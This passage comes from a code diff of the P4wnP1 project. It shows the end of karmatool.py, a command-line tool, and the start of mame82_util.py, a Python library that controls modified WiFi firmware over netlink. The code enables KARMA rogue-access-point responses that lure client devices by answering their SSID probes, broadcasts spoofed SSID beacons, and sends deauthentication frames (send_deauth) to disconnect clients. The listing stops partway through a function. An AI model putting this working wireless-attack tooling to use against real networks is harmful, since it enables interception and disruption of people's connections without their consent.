-b 0/1 Disable/Enable KARMA beaconing (broadcasts up to 20 SSIDs
|
||||
spotted in probe requests as beacon)
|
||||
-s 0/1 Disable/Enable custom SSID beaconing (broadcasts up to 20 SSIDs
|
||||
which have been added by the user with '--addssid=' when enabled)
|
||||
--addssid="test" Add SSID "test" to custom SSID list (max 20 SSIDs)
|
||||
--remssid="test" Remove SSID "test" from custom SSID list
|
||||
--clearssids Clear list of custom SSIDs
|
||||
--clearkarma Clear list of karma SSIDs (only influences beaconing, not probes)
|
||||
--autoremkarma=600 Auto remove KARMA SSIDs from beaconing list after sending 600 beacons
|
||||
without receiving an association (about 60 seconds, 0 = beacon forever)
|
||||
--autoremcustom=3000 Auto remove custom SSIDs from beaconing list after sending 3000
|
||||
beacons without receiving an association (about 5 minutes, 0 = beacon
|
||||
forever)
|
||||
|
||||
Example:
|
||||
python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
|
||||
But sends no beacons for SSIDs from received probes
|
||||
python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
|
||||
and sends beacons for SSIDs from received probes
|
||||
(max 20 SSIDs, if autoremove isn't enabled)
|
||||
|
||||
python karmatool.py --addssid="test 1" --addssid="test 2" -s 1
|
||||
Add SSID "test 1" and "test 2" and enable beaconing for
|
||||
custom SSIDs
|
||||
'''
|
||||
print(usagescr)
|
||||
|
||||
def print_conf():
|
||||
print "Retrieving current configuration ...\n===================================="
|
||||
MaMe82_IO.dump_conf(print_res=True)
|
||||
|
||||
def check_bool_arg(arg):
|
||||
try:
|
||||
res = int(arg)
|
||||
if (res == 0) or (res == 1):
|
||||
return res
|
||||
else:
|
||||
return -1
|
||||
except ValueError:
|
||||
return -1
|
||||
|
||||
def main(argv):
|
||||
try:
|
||||
opts, args = getopt.getopt(argv, "hicdk:p:a:b:s:", ["help", "interactive", "currentconfig", "setdefault", "clearkarma", "clearssids", "addssid=", "remssid=", "autoremkarma=", "autoremcustom="])
|
||||
except getopt.GetoptError:
|
||||
print "ERROR: Wrong command line argument(s)"
|
||||
print "-------------------------------------\n"
|
||||
usage()
|
||||
sys.exit(2)
|
||||
|
||||
for opt, arg in opts:
|
||||
if opt in ("-h", "--help"):
|
||||
usage()
|
||||
sys.exit()
|
||||
elif opt in ("-d", "--setdefault"):
|
||||
print "Setting default configuration ..."
|
||||
MaMe82_IO.set_defaults()
|
||||
print_conf()
|
||||
sys.exit()
|
||||
elif opt in ("-i", "--interactive"):
|
||||
print "Interactive mode"
|
||||
print "... Sorry, feature not implemented, yet ... stay tuned"
|
||||
sys.exit()
|
||||
elif opt in ("-c", "--currentconfig"):
|
||||
print_conf()
|
||||
elif opt == "-p":
|
||||
val = check_bool_arg(arg)
|
||||
if (val == -1):
|
||||
print "Argument error for -p (KARMA probe), must be 0 or 1 .... ignoring option"
|
||||
else:
|
||||
print "Setting KARMA probe responses to {0}".format("On" if (val==1) else "Off")
|
||||
MaMe82_IO.set_enable_karma_probe(True if (val==1) else False)
|
||||
elif opt == "-a":
|
||||
val = check_bool_arg(arg)
|
||||
if (val == -1):
|
||||
print "Argument error for -a (KARMA associations), must be 0 or 1 .... ignoring option"
|
||||
else:
|
||||
print "Setting KARMA association responses to {0}".format("On" if (val==1) else "Off")
|
||||
MaMe82_IO.set_enable_karma_assoc(True if (val==1) else False)
|
||||
elif opt == "-k":
|
||||
val = check_bool_arg(arg)
|
||||
if (val == -1):
|
||||
print "Argument error for -k (KARMA probes and associations), must be 0 or 1 .... ignoring option"
|
||||
else:
|
||||
print "Setting KARMA probe and association responses to {0}".format("On" if (val==1) else "Off")
|
||||
MaMe82_IO.set_enable_karma(True if (val==1) else False)
|
||||
elif opt == "-b":
|
||||
val = check_bool_arg(arg)
|
||||
if (val == -1):
|
||||
print "Argument error for -b (KARMA beaconing), must be 0 or 1 .... ignoring option"
|
||||
else:
|
||||
print "Setting KARMA beaconing to {0}".format("On" if (val==1) else "Off")
|
||||
MaMe82_IO.set_enable_karma_beaconing(True if (val==1) else False)
|
||||
elif opt == "-s":
|
||||
val = check_bool_arg(arg)
|
||||
if (val == -1):
|
||||
print "Argument error for -s (custom beaconing), must be 0 or 1 .... ignoring option"
|
||||
else:
|
||||
print "Setting custom beaconing to {0}".format("On" if (val==1) else "Off")
|
||||
MaMe82_IO.set_enable_custom_beaconing(True if (val==1) else False)
|
||||
elif opt == "--addssid":
|
||||
if len(arg) == 0 or len(arg) > 32:
|
||||
print "Argument error for --addssid, mustn't be empty max length is 32 ... ignoring option"
|
||||
else:
|
||||
MaMe82_IO.add_custom_ssid(arg)
|
||||
elif opt == "--remssid":
|
||||
if len(arg) == 0 or len(arg) > 32:
|
||||
print "Argument error for --remssid, mustn't be empty max length is 32 ... ignoring option"
|
||||
else:
|
||||
MaMe82_IO.rem_custom_ssid(arg)
|
||||
elif opt == "--clearssids":
|
||||
print "Removing all custom SSIDs"
|
||||
MaMe82_IO.clear_custom_ssids()
|
||||
elif opt == "--clearkarma":
|
||||
print "Removing all KARMA SSIDs (no influence on probe / assoc responses)"
|
||||
MaMe82_IO.clear_karma_ssids()
|
||||
elif opt == "--autoremkarma":
|
||||
error="An integer value >=0 is needed for autoremkarma ... ignoring option"
|
||||
try:
|
||||
val = int(arg)
|
||||
if (val < 0):
|
||||
print error
|
||||
else:
|
||||
print "Removing KARMA SSIDs after sending {0} beacons without occuring association".format(val)
|
||||
MaMe82_IO.set_autoremove_karma_ssids(val)
|
||||
except ValueError:
|
||||
print error
|
||||
elif opt == "--autoremcustom":
|
||||
error="An integer value >=0 is needed for autoremcustom ... ignoring option"
|
||||
try:
|
||||
val = int(arg)
|
||||
if (val < 0):
|
||||
print error
|
||||
else:
|
||||
print "Removing custom SSIDs after sending {0} beacons without occuring association".format(val)
|
||||
MaMe82_IO.set_autoremove_custom_ssids(val)
|
||||
except ValueError:
|
||||
print error
|
||||
|
||||
|
||||
|
||||
print ""
|
||||
print_conf()
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if not MaMe82_IO.check_for_karma_cap():
|
||||
print "The current WiFi Firmware in use doesn't seem to support KARMA"
|
||||
print "A modified and precompiled nexmon firmware for Pi3 / Pi0w with KARMA support could"
|
||||
print "be found here:\thttps://github.com/mame82/P4wnP1_nexmon_additions"
|
||||
sys.exit()
|
||||
else:
|
||||
print "Firmware in use seems to be KARMA capable"
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
sys.exit()
|
||||
main(sys.argv[1:])
|
||||
|
703
dist/legacy/mame82_util.py
vendored
Executable file
703
dist/legacy/mame82_util.py
vendored
Executable file
@ -0,0 +1,703 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
# This file is part of P4wnP1.
|
||||
#
|
||||
# Copyright (c) 2017, Marcus Mengs.
|
||||
#
|
||||
# P4wnP1 is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# P4wnP1 is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with P4wnP1. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
# The python classes are used to configure the MaMe82 nexmon firmware mod
|
||||
# while an access point is up and running
|
||||
|
||||
import fcntl
|
||||
import socket
|
||||
import os
|
||||
from ctypes import *
|
||||
import struct
|
||||
|
||||
class struct_mame82_probe_resp_arg(Structure):
|
||||
_fields_ = [("da", c_ubyte*6),
|
||||
("bssid", c_ubyte*6)]
|
||||
|
||||
class struct_mame82_deauth_arg(Structure):
|
||||
_fields_ = [("da", c_ubyte*6),
|
||||
("bssid", c_ubyte*6),
|
||||
("reason", c_ushort)]
|
||||
|
||||
class struct_ssid_list(Structure):
|
||||
# we define the fields afterwards to allow creating a pointer to this struct
|
||||
# which only is declared here (no fields defined so far)
|
||||
pass
|
||||
|
||||
struct_ssid_list._fields_ = [("next", POINTER(struct_ssid_list)),
|
||||
("ssid", c_ubyte*33),
|
||||
("len_ssid", c_ubyte),
|
||||
("assoc_req", c_uint),
|
||||
("bcn_send", c_uint)]
|
||||
|
||||
class struct_mame82_config(Structure):
|
||||
_fields_ = [("karma_probes", c_bool),
|
||||
("karma_assocs", c_bool),
|
||||
("karma_beacons", c_bool),
|
||||
("custom_beacons", c_bool),
|
||||
("debug_out", c_bool),
|
||||
("ssids_custom", c_void_p),
|
||||
("ssids_karma", c_void_p),
|
||||
("karma_beacon_autoremove", c_uint),
|
||||
("custom_beacon_autoremove", c_uint),
|
||||
("max_karma_beacon_ssids", c_ubyte),
|
||||
("max_custom_beacon_ssids", c_ubyte)]
|
||||
|
||||
class struct_mame82_config(Structure):
|
||||
_fields_ = [("karma_probes", c_bool),
|
||||
("karma_assocs", c_bool),
|
||||
("karma_beacons", c_bool),
|
||||
("custom_beacons", c_bool),
|
||||
("debug_out", c_bool),
|
||||
("ssids_custom", POINTER(struct_ssid_list)),
|
||||
("ssids_karma", POINTER(struct_ssid_list)),
|
||||
("karma_beacon_autoremove", c_uint),
|
||||
("custom_beacon_autoremove", c_uint),
|
||||
("max_karma_beacon_ssids", c_ubyte),
|
||||
("max_custom_beacon_ssids", c_ubyte)]
|
||||
|
||||
class struct_nlmsghdr(Structure):
|
||||
_fields_ = [("nlmsg_len", c_uint),
|
||||
("nlmsg_type", c_ushort),
|
||||
("nlmsg_flags", c_ushort),
|
||||
("nlmsg_seq", c_uint),
|
||||
("nlmsg_pid", c_uint)]
|
||||
|
||||
|
||||
class struct_IOCTL(Structure):
|
||||
_fields_ = [("cmd", c_uint),
|
||||
("buf", c_void_p),
|
||||
("len", c_uint),
|
||||
("set", c_bool),
|
||||
("used", c_uint),
|
||||
("needed", c_uint),
|
||||
("driver", c_uint)]
|
||||
|
||||
class struct_IFREQ(Structure):
|
||||
_fields_ = [("ifr_name", c_char*16),
|
||||
("ifr_data", c_void_p)]
|
||||
|
||||
|
||||
class struct_nexudp_hdr(Structure):
|
||||
_fields_ = [("nex", c_char * 3),
|
||||
("type", c_char),
|
||||
("securitycookie", c_int)]
|
||||
|
||||
|
||||
class struct_nexudp_ioctl_hdr(Structure):
|
||||
_fields_ = [("nexudphdr", struct_nexudp_hdr),
|
||||
("cmd", c_uint),
|
||||
("set", c_uint),
|
||||
("payload", c_byte * 1)]
|
||||
|
||||
|
||||
def mac2bstr(mac):
|
||||
res = ""
|
||||
for v in mac.split(":"):
|
||||
res += chr(int(v,16))
|
||||
return res
|
||||
|
||||
class nexconf:
|
||||
NLMSG_ALIGNTO = 4
|
||||
RTMGRP_LINK = 1
|
||||
# IFLA_IFNAME = 3
|
||||
# NLM_F_REQUEST = 0x0001
|
||||
# NLM_F_ROOT = 0x0100
|
||||
# NLMSG_NOOP = 0x0001
|
||||
# NLMSG_ERROR = 0x0002
|
||||
# NLMSG_DONE = 0x0003
|
||||
|
||||
NEXUDP_IOCTL = 0
|
||||
NETLINK_USER = 31
|
||||
|
||||
@staticmethod
|
||||
def create_cmd_ioctl(cmd, buf, set_val=False):
|
||||
ioctl = struct_IOCTL()
|
||||
ioctl.cmd = cmd
|
||||
ioctl.buf = cast(c_char_p(buf), c_void_p)
|
||||
ioctl.len = len(buf)
|
||||
ioctl.set = set_val
|
||||
ioctl.driver = 0x14e46c77
|
||||
return ioctl
|
||||
|
||||
@staticmethod
|
||||
def create_ifreq(ifr_name, ifr_data):
|
||||
ifr = struct_IFREQ()
|
||||
ifr.ifr_name = struct.pack("16s", ifr_name) # padded with zeroes (maybe utf-8 conversion should be assured ?!?!)
|
||||
ifr.ifr_data = cast(pointer(ifr_data), c_void_p)
|
||||
return ifr
|
||||
|
||||
@staticmethod
|
||||
def c_struct2str(c_struct):
|
||||
return string_at(addressof(c_struct), sizeof(c_struct))
|
||||
|
||||
@staticmethod
|
||||
def ptr2str(ptr, length):
|
||||
return string_at(ptr, length)
|
||||
|
||||
@staticmethod
|
||||
def ctype2pystr(ct):
|
||||
return buffer(ct)[:]
|
||||
|
||||
@staticmethod
|
||||
def print_struct(struct, pre=""):
|
||||
for field_name, field_type in struct._fields_:
|
||||
print pre, field_name, field_type, getattr(struct, field_name)
|
||||
|
||||
@staticmethod
|
||||
def NLMSG_ALIGN(length):
|
||||
return ((length + nexconf.NLMSG_ALIGNTO-1) & ~(nexconf.NLMSG_ALIGNTO - 1))
|
||||
|
||||
@staticmethod
|
||||
def NLMSG_HDRLEN():
|
||||
return nexconf.NLMSG_ALIGN(sizeof(struct_nlmsghdr))
|
||||
|
||||
@staticmethod
|
||||
def NLMSG_LENGTH(length):
|
||||
return length + nexconf.NLMSG_ALIGN(nexconf.NLMSG_HDRLEN())
|
||||
|
||||
@staticmethod
|
||||
def NLMSG_SPACE(length):
|
||||
return nexconf.NLMSG_ALIGN(nexconf.NLMSG_LENGTH(length))
|
||||
|
||||
@staticmethod
|
||||
def NLMSG_DATA(nlh):
|
||||
c = cast(nlh, c_void_p)
|
||||
c.value += nexconf.NLMSG_LENGTH(0) # inc is only possible for void ptr, we don't need to cast to char first as incrementation is done in single bytes (by adding to value)
|
||||
return c
|
||||
|
||||
@staticmethod
|
||||
def openNL_sock():
|
||||
try:
|
||||
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER)
|
||||
except socket.error:
|
||||
print "No Netlink IOCTL connection possible"
|
||||
return None
|
||||
|
||||
# bind to kernel
|
||||
s.bind((os.getpid(), 0))
|
||||
|
||||
return s
|
||||
|
||||
def closeNL_sock(s):
|
||||
s.close()
|
||||
|
||||
@staticmethod
|
||||
def sendNL_IOCTL(ioc, debug=False, rawresult=False, nl_socket_fd=None):
|
||||
### NETLINK test ####
|
||||
|
||||
if debug:
|
||||
print "Sending NL IOCTL\n\tcmd: {0}\n\tset_enabled: {1}\n\tpayload: {2}".format(ioc.cmd, ioc.set, repr(nexconf.ptr2str(ioc.buf, ioc.len)))
|
||||
|
||||
|
||||
|
||||
|
||||
frame_len = ioc.len + sizeof(struct_nexudp_ioctl_hdr) - sizeof(c_char)
|
||||
frame = struct_nexudp_ioctl_hdr()
|
||||
|
||||
nlhbuf = create_string_buffer(nexconf.NLMSG_SPACE(frame_len))
|
||||
nlh = cast(pointer(nlhbuf), POINTER(struct_nlmsghdr))
|
||||
|
||||
nlh.contents.nlmsg_len = nexconf.NLMSG_SPACE(frame_len)
|
||||
nlh.contents.nlmsg_pid = os.getpid();
|
||||
nlh.contents.nlmsg_flags = 0;
|
||||
|
||||
|
||||
pdata = nexconf.NLMSG_DATA(nlh)
|
||||
frame = cast(pdata, POINTER(struct_nexudp_ioctl_hdr))
|
||||
frame.contents.nexudphdr.nex = 'NEX'
|
||||
frame.contents.nexudphdr.type = chr(nexconf.NEXUDP_IOCTL)
|
||||
frame.contents.nexudphdr.securitycookie = 0;
|
||||
|
||||
frame.contents.cmd = ioc.cmd
|
||||
frame.contents.set = ioc.set
|
||||
#frame.contents.payload = nexconf.ptr2str(ioc.buf, ioc.len)
|
||||
memmove(addressof(frame.contents.payload), ioc.buf, ioc.len)
|
||||
|
||||
|
||||
|
||||
# frame to string
|
||||
fstr = nexconf.ptr2str(frame, nexconf.NLMSG_SPACE(frame_len) - nexconf.NLMSG_LENGTH(0))
|
||||
|
||||
#full buf to string (including nlhdr)
|
||||
p_nlhbuf = pointer(nlhbuf)
|
||||
bstr = nexconf.ptr2str(p_nlhbuf, nexconf.NLMSG_SPACE(frame_len))
|
||||
|
||||
|
||||
'''
|
||||
print "NL HEADER"
|
||||
print type(p_nlhbuf)
|
||||
print repr(bstr)
|
||||
print repr(buffer(p_nlhbuf.contents)[:])
|
||||
print "NL MESSAGE DATA"
|
||||
print type(frame)
|
||||
print repr(fstr)
|
||||
print repr(buffer(frame.contents)[:])
|
||||
'''
|
||||
|
||||
sfd = None
|
||||
s = None
|
||||
if nl_socket_fd == None:
|
||||
try:
|
||||
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER)
|
||||
except socket.error:
|
||||
print "No Netlink IOCTL connection possible"
|
||||
return None
|
||||
|
||||
# bind to kernel
|
||||
s.bind((os.getpid(), 0))
|
||||
sfd = os.fdopen(s.fileno(), 'w+b')
|
||||
else:
|
||||
sfd = nl_socket_fd
|
||||
|
||||
sfd.write(bstr)
|
||||
sfd.flush()
|
||||
|
||||
ret = ""
|
||||
if (ioc.set == 0):
|
||||
# read back result (CAUTION THERE'S NO SOCKET TIMEOUT IN USE, SO THIS COULD STALL)
|
||||
if debug:
|
||||
print "Reading back NETLINK answer ..."
|
||||
res_frame = sfd.read(nlh.contents.nlmsg_len)
|
||||
res_frame_len = len(res_frame)
|
||||
if rawresult:
|
||||
# don't cast and parse headers
|
||||
sfd.close()
|
||||
s.close()
|
||||
return res_frame
|
||||
|
||||
# pointer to result buffer
|
||||
p_res_frame = cast(c_char_p(res_frame), c_void_p)
|
||||
|
||||
# point struct nlmsghdr to p_res_frame
|
||||
p_nlh = cast(p_res_frame, POINTER(struct_nlmsghdr))
|
||||
|
||||
# grab pointer to data part of nlmsg
|
||||
p_nld_void = nexconf.NLMSG_DATA(p_nlh)
|
||||
|
||||
# convert to: struct nexudp_ioctl_hdr*
|
||||
p_nld = cast(p_nld_void, POINTER(struct_nexudp_ioctl_hdr))
|
||||
|
||||
# calculate offset to payload from p_res_frame
|
||||
offset_payload = addressof(p_nld.contents.payload) - p_res_frame.value
|
||||
|
||||
payload = res_frame[offset_payload:]
|
||||
|
||||
if debug:
|
||||
nexconf.print_struct(p_nlh.contents, "\t")
|
||||
nexconf.print_struct(p_nld.contents, "\t")
|
||||
nexconf.print_struct(p_nld.contents.nexudphdr, "\t")
|
||||
print "\tpayload:\t" + repr(payload)
|
||||
|
||||
|
||||
#return only payload part of res frame
|
||||
ret = payload
|
||||
|
||||
if nl_socket_fd == None:
|
||||
sfd.close()
|
||||
s.close()
|
||||
|
||||
return ret
|
||||
|
||||
@staticmethod
|
||||
def send_IOCTL(ioc, device_name = "wlan0"):
|
||||
# This code is untested, because our target (BCM43430a1) talks NETLINK
|
||||
# so on Pi0w sendNL_IOCTL should be used
|
||||
|
||||
SIOCDEVPRIVATE = 0x89F0
|
||||
|
||||
# create ioctl ifreq
|
||||
ifr = nexconf.create_ifreq(device_name, ioc)
|
||||
|
||||
|
||||
# debug out
|
||||
'''
|
||||
print repr(nexconf.c_struct2str(ifr))
|
||||
print len(nexconf.c_struct2str(ifr))
|
||||
print repr(string_at(ifr.ifr_data, sizeof(ioc)))
|
||||
'''
|
||||
|
||||
# send ioctl to kernel via UDP socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
fcntl.ioctl(s.fileno(), SIOCDEVPRIVATE, ifr)
|
||||
s.close()
|
||||
|
||||
class MaMe82_IO:
|
||||
CMD=666
|
||||
CMD_RETRIEVE_CAP = 400
|
||||
KARMA_CAP = (1 << 7)
|
||||
|
||||
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE = 1
|
||||
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC = 2
|
||||
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA = 3
|
||||
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON = 4
|
||||
MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT = 5
|
||||
MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT = 6
|
||||
MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID = 7
|
||||
MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID = 8
|
||||
MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS = 9
|
||||
MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS = 10
|
||||
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS = 11
|
||||
MAME82_IOCTL_ARG_TYPE_SEND_DEAUTH = 20
|
||||
MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP = 21
|
||||
|
||||
MAME82_IOCTL_ARG_TYPE_GET_CONFIG = 100
|
||||
MAME82_IOCTL_ARG_TYPE_GET_MEM = 101
|
||||
|
||||
@staticmethod
|
||||
def s2hex(s):
|
||||
return "".join(map("0x%2.2x ".__mod__, map(ord, s)))
|
||||
|
||||
@staticmethod
|
||||
def send_probe_resp(bssid, da="ff:ff:ff:ff:ff:ff", ie_ssid_data="TEST_SSID", ie_vendor_data=None):
|
||||
arr_bssid = mac2bstr(bssid)
|
||||
arr_da = mac2bstr(da)
|
||||
|
||||
ie_ssid_type = 0
|
||||
ie_ssid_len = 32
|
||||
ie_vendor_type = 221
|
||||
ie_vendor_len = 238
|
||||
|
||||
buf = ""
|
||||
|
||||
if ie_vendor_data == None:
|
||||
buf = struct.pack("<II6s6sBB32s",
|
||||
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
|
||||
48, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
|
||||
arr_da,
|
||||
arr_bssid,
|
||||
ie_ssid_type,
|
||||
ie_ssid_len,
|
||||
ie_ssid_data)
|
||||
else:
|
||||
buf = struct.pack("<II6s6sBB32sBB238s",
|
||||
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
|
||||
286, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
|
||||
arr_da,
|
||||
arr_bssid,
|
||||
ie_ssid_type,
|
||||
ie_ssid_len,
|
||||
ie_ssid_data,
|
||||
# insert additional IEs here
|
||||
ie_vendor_type,
|
||||
ie_vendor_len,
|
||||
ie_vendor_data)
|
||||
|
||||
#print repr(buf)
|
||||
|
||||
ioctl_sendprbrsp = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, buf, True)
|
||||
nexconf.sendNL_IOCTL(ioctl_sendprbrsp)
|
||||
|
||||
@staticmethod
|
||||
def send_deauth(bssid, da="ff:ff:ff:ff:ff:ff", reason=0x0007):
|
||||
arr_bssid = mac2bstr(bssid)
|
||||
arr_da = mac2bstr(da)
|
||||
|
||||
buf = struct.pack("<II6s6sH", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_DEAUTH, sizeof(struct_mame82_deauth_arg), arr_da, arr_bssid, reason)
|
||||
print repr(buf)
|
||||
|
||||
ioctl_senddeauth = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, buf, True)
|
||||
nexconf.sendNL_IOCTL(ioctl_senddeauth)
|
||||
|
||||
@staticmethod
|
||||
def set_ch(channel):
|
||||
ioctl = nexconf.create_cmd_ioctl(30, struct.pack("<I", channel), True)
|
||||
res = nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def get_ch():
|
||||
ioctl = nexconf.create_cmd_ioctl(29, "", False)
|
||||
res = nexconf.sendNL_IOCTL(ioctl)
|
||||
return struct.unpack("<I", res[:4])[0]
|
||||
|
||||
@staticmethod
|
||||
def add_custom_ssid(ssid):
|
||||
if len(ssid) > 32:
|
||||
print "SSID too long, 32 chars max"
|
||||
return
|
||||
ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID, len(ssid), ssid), True)
|
||||
nexconf.sendNL_IOCTL(ioctl_addssid)
|
||||
|
||||
@staticmethod
|
||||
def rem_custom_ssid(ssid):
|
||||
if len(ssid) > 32:
|
||||
print "SSID too long, 32 chars max"
|
||||
return
|
||||
ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID, len(ssid), ssid), True)
|
||||
nexconf.sendNL_IOCTL(ioctl_addssid)
|
||||
|
||||
@staticmethod
|
||||
def set_enable_karma_probe(on=True):
|
||||
if on:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 1), True)
|
||||
else:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def set_enable_karma_assoc(on=True):
|
||||
if on:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 1), True)
|
||||
else:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def set_enable_karma_beaconing(on=True):
|
||||
if on:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 1), True)
|
||||
else:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def set_enable_custom_beaconing(on=True):
|
||||
if on:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 1), True)
|
||||
else:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def set_enable_karma(on=True):
|
||||
if on:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 1), True)
|
||||
else:
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def clear_custom_ssids():
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def clear_karma_ssids():
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS, 0), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def set_autoremove_custom_ssids(beacon_count):
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def set_autoremove_karma_ssids(beacon_count):
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
|
||||
nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
@staticmethod
|
||||
def check_for_karma_cap():
|
||||
ioctl = nexconf.create_cmd_ioctl(400, "", False) # there's a length check for the CAPs ioctl, forcing size to 4 (only command, no arg buffer)
|
||||
res = nexconf.sendNL_IOCTL(ioctl)
|
||||
if res == None:
|
||||
return False
|
||||
else:
|
||||
cap = struct.unpack("I", res[:4])[0]
|
||||
# print "Cap: {0}".format(MaMe82_IO.s2hex(res))
|
||||
if (cap & MaMe82_IO.KARMA_CAP == 0):
|
||||
return False
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def dump_conf(print_res=True, dump_ssids=True):
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II40s", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_CONFIG, 4, ""), False)
|
||||
res = nexconf.sendNL_IOCTL(ioctl)
|
||||
|
||||
if res == None:
|
||||
print "Couldn't retrieve config"
|
||||
return None
|
||||
|
||||
mame82_config = struct_mame82_config()
|
||||
memmove(addressof(mame82_config), res, min(len(res), sizeof(struct_mame82_config)))
|
||||
|
||||
if dump_ssids:
|
||||
